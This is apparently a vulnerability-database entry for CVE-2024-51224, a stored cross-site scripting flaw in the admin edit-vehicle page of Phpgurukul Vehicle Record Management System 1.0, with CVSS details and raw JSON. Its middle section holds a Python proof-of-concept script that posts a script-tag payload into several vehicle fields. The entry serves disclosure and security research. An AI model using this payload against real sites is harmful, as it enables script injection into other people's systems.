Security Vulnerability Report
中文
CVE-2024-51224 CVSS 4.8 MEDIUM

CVE-2024-51224

Published: 2026-03-23 16:16:32
Last Modified: 2026-03-24 18:13:32

Description

Multiple cross-site scripting (XSS) vulnerabilities in the component /admin/edit-vehicle.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the vehiclename, modelnumber, regnumber, vehiclesubtype, chasisnum and enginenumber parameters.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:vehicle_record_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Phpgurukul Vehicle Record Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# POC for CVE-2024-51224 # Target: Phpgurukul Vehicle Record Management System v1.0 # Description: Stored XSS via edit-vehicle.php parameters import requests target_url = "http://target-site/admin/edit-vehicle.php" # The payload attempts to execute an alert box via script tag payload = "<script>alert('CVE-2024-51224');</script>" # Data to be sent in the POST request # Vulnerable parameters: vehiclename, modelnumber, regnumber, vehiclesubtype, chasisnum, enginenumber data = { "vehiclename": payload, "modelnumber": "Test123", "regnumber": payload, "vehiclesubtype": "Sedan", "chasisnum": payload, "enginenumber": "Eng123", "update": "Update" } # Attacker must be authenticated (High Privileges required) cookies = { "PHPSESSID": "attacker_session_id_here" } response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("Payload injected successfully. Check the vehicle list page.") else: print("Failed to inject payload.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-51224", "sourceIdentifier": "[email protected]", "published": "2026-03-23T16:16:31.710", "lastModified": "2026-03-24T18:13:31.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple cross-site scripting (XSS) vulnerabilities in the component /admin/edit-vehicle.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the vehiclename, modelnumber, regnumber, vehiclesubtype, chasisnum and enginenumber parameters."}, {"lang": "es", "value": "Múltiples vulnerabilidades de cross-site scripting (XSS) en el componente /admin/edit-vehicle.php de Phpgurukul Vehicle Record Management System v1.0 permite a atacantes ejecutar scripts web o HTML arbitrarios mediante la inyección de una carga útil manipulada en los parámetros vehiclename, modelnumber, regnumber, vehiclesubtype, chasisnum y enginenumber."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:vehicle_record_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "D6AE144F-2A5F-4F48-899F-732293FA1DB6"}]}]}], "references": [{"url": "https://github.com/Buckdray/vulnerability-research", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/Buckdray/vulnerability-research/tree/main/CVE-2024-51224", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}